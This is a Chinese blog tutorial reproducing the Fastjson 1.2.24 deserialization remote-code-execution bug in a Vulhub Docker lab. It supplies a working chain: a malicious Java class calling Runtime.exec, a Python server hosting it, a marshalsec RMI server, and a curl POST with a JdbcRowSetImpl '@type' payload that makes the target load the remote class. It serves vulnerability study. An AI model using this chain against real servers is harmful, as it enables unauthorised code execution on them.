Java - Fastjson之RCE攻击模拟(远程代码执行漏洞)

首先,本文的Fastjson相关的RCE问题,针对于版本在1.2.24以下的。

一. Fastjson出现RCE问题的必要前提分析

1.准备一个maven项目,添加相关依赖:

<dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>4.12</version>
    <scope>test</scope>
</dependency>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.23</version>
</dependency>
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-io</artifactId>
    <version>1.3.2</version>
</dependency>

2.准备一个实体类Student,并给里面的get/set方法做打印操作。

public class Student {
    private String name;//姓名
    private String number;//学号
    private int age;  //年龄

    public Student() throws IOException {
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public String getNumber() {
        System.out.println("getNumber");
        return number;
    }

    public void setNumber(String number) {
        System.out.println("setNumber");
        this.number = number;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) throws IOException {
        System.out.println("setAge");
        // 打开本地的某个文本文件,因为String类型的默认值是null
        // 而Integer类型的属性,在new Student之后,默认值是0。在后续的调用中会涉及到。
        Runtime.getRuntime().exec("cmd /c start F:\\/Gitspace/111.txt");
        this.age = age;
    }
}

我们知道,我们可以通过JSON.toJSONString()方法来将对象转成JSON字符串,那么,针对低版本的RCE问题,我们直接做一个针对性的比较:

@org.junit.Test
public void test(){
	Student student = new Student();
    String jsonStr1 = JSON.toJSONString(student);
    System.out.println(jsonStr1);
    System.out.println("==========================================");
    String jsonStr2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
    System.out.println(jsonStr2);
}

来看下两者的输出内容的差别,可以发现,增加了SerializerFeature.WriteClassName属性后,打印的json串里面包含了@type字段,而这个字段恰恰是本次RCE问题的一个重点关注对象
在这里插入图片描述

1.1 对不带@type的JSON串反序列化

@org.junit.Test
public void testWithoutType() throws IOException {
    //序列化
    Student student = new Student();
    String jsonStr1 = JSON.toJSONString(student);
    System.out.println("testWithoutType:" + jsonStr1);
    //反序列化
    JSONObject jsonObject = JSON.parseObject(jsonStr1);
}

输出结果如下:
在这里插入图片描述

1.2 对带@type的JSON串反序列化

@org.junit.Test
public void testWithType() throws IOException {
    //序列化
    Student student = new Student();
    String jsonStr2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
    System.out.println("testWithType:" + jsonStr2);
    //反序列化
    JSONObject jsonObject = JSON.parseObject(jsonStr2);
}

输出结果如下:
在这里插入图片描述
可见在序列化的时候调用了get/set方法。同时,由于调用了setAge方法,会执行我预先写好的攻击代码(本篇文章也就是打开了一个文件)
在这里插入图片描述
其实面对上面的现象,可以做个小总结,针对于Fastjson漏洞:

  1. json字符串可控时(比如我们带上@type,指定某个具体的类),我们可以反序列化出任意的对象。
  2. 如果这个对象的构造/get/set方法中若有危险的系统操作,那么就可以反序列化出一个危险的函数。

二. Fastjson1.2.24-RCE漏洞复现

前期准备:准备一台虚拟机用于当做漏洞靶场,这里利用的是Vulhub来作为靶场。

2.1 安装Vulhub靶场环境和前期准备工作

1.安装Python3,因为Docker-compose基于Python开发,若你安装了,可以跳过,我这里有安装包Python3,密码chvp
安装步骤如下:

  1. tar -zxf Python-3.9.9.tgz
  2. cd Python-3.9.9
  3. ./configure
  4. make && make install
  5. 安装好后使用命令python3 -V,来检查是否成功:

在这里插入图片描述
2.检查是否有pip3命令pip3 -V,(Python3高版本会自带的一般来说,低版本的是pip命令):
在这里插入图片描述
3.通过pip来安装Docker-compose

pip3 install docker-compose

若此办法不行,可以尝试换一种安装:

curl -L "https://github.com/docker/compose/releases/download/1.25.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

4.安装好后,进入该路径/usr/local/bin,执行命令chmod +x docker-compose添加执行权限。

5.下载Vulhub,密码: tnh4,上传到linux中。

6.进入对应文件夹:/opt/vulhub-master/fastjson/1.2.24-rce(每个人前缀可能不一样,但是后面肯定一样),启动docker容器(需要安装docker,docker的安装看网上教程),启动命令:

docker-compose up -d

效果如下:
在这里插入图片描述
使用命令docker ps -a来检查是否启动容器成功:
在这里插入图片描述

7.查看靶场环境是否搭建成功:curl http://172.16.1.130:8090/
在这里插入图片描述
8.我们可以通过命令请求,来序列化一个对象:

 curl http://172.16.1.130:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

结果如下:
在这里插入图片描述

2.2 编写攻击文件和RMI环境监听

2.2.1 攻击文件

文件内容如下:

public class Test {
    public Test() {
        try {
            Runtime.getRuntime().exec("touch /opt/111.txt");
        } catch (Exception var2) {
            var2.printStackTrace();
        }
    }

    public static void main(String[] args) {
        new Test();
    }
}

然后在当前目录下执行命令:javac Test.java,就会生成对应的class文件,将其上传到我们的虚机中。

在这里插入图片描述

2.2.2 用python启动简易Web服务

python在该目录下(Test.javaTest.class文件所在目录)启动一个服务:

python -m SimpleHTTPServer 8888

结果如下:
在这里插入图片描述
访问IP地址,结果如下:curl http://172.16.1.130:8888/
在这里插入图片描述

2.2.3 启动marshalsec工具,搭建RMI环境

RMI:远程方法调用

下载marshalsec工具:并进行打包.

 mvn clean package -DskipTests

若出现以下报错:在这里插入图片描述
解决方案(mac电脑):

  1. 查看自己本机的jdk安装路径/usr/libexec/java_home -V:
    在这里插入图片描述

  2. 复制后,输入命令mvn -v
    在这里插入图片描述

  3. 去对应安装目录下的bin目录,修改文件mvn,在文件首行添加JAVA_HOME=刚刚复制的jdk地址,如下:在这里插入图片描述

完成后再打包即可

输入命令即可,marshalsec-0.0.3-SNAPSHOT-all.jar 是我们刚刚打包出来的,Test是我们编写的攻击文件,localhost:8888是我们通过python监听的服务。

 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://172.16.1.130:8888/#Test" 9999       

结果如下:
在这里插入图片描述

2.3 模拟攻击

1.在虚机上发起Post请求:

curl http://172.16.1.130:8090/ -H "Content-Type: application/json" --data '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://172.16.1.130:9999/Test","autoCommit":true}}'

其中报文的JSON格式为:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://172.16.1.130:9999/Test",
        "autoCommit":true
    }
}

目的:

  1. 在虚拟机172.16.1.130上发起一个请求,对报文进行反序列化过程。
  2. 通过自定义的payload,调用远程服务(9999端口)上指定的Test类。
  3. Test是我们写好的攻击类,一旦反序列化(针对class文件)完成后,会在靶机上进行攻击(本文是创建一个111.txt文件)。

备注:

  1. 靶机也就是docker容器,相关攻击会在docker内部进行,而docker运行于130虚机上。
  2. 我们模拟的RMI服务、对文件的监听也都是在130服务上,端口不一样就行。(当然也可以分在不同机器上)。

2.然后可以看下我们的RMI服务,有着怎样的结果:说明RMI服务起作用了,然后会去寻找8888端口上的Test.class文件,进行反序列化。
在这里插入图片描述
3.查看我们的8888Web服务(相当于我们把这个class文件暴露给端口,让我们可以直接拿到)
在这里插入图片描述
4.再看看靶机(docker容器内部):可见,111.txt文件创建了出来。
步骤:

  1. 查看容器id:docker ps -a
    在这里插入图片描述

  2. 根据id进入容器内部:docker exec -it d74e6c320b86 bash

  3. 进入/opt目录查看对应的文件:
    在这里插入图片描述
    到这里RCE漏洞复现也就完成了。

2.4 总结

假设我们知道某一个机器A,它的环境里面,存在这个反序列化漏洞。那么整个攻击流程如下:

  1. 我们在自己的本地机器编写一个攻击类,并且得到它的class字节码文件M。
  2. 通过自定义payload(请求报文),像目标环境A发送攻击请求。
  3. 通过在报文中,通过RMI服务,允许我们指定本地的攻击类M。
  4. 目标机器A加载攻击类M字节码,被攻击。

下一篇再分析1.2.24版本的fastjson的漏洞原理。

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zong_0915

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值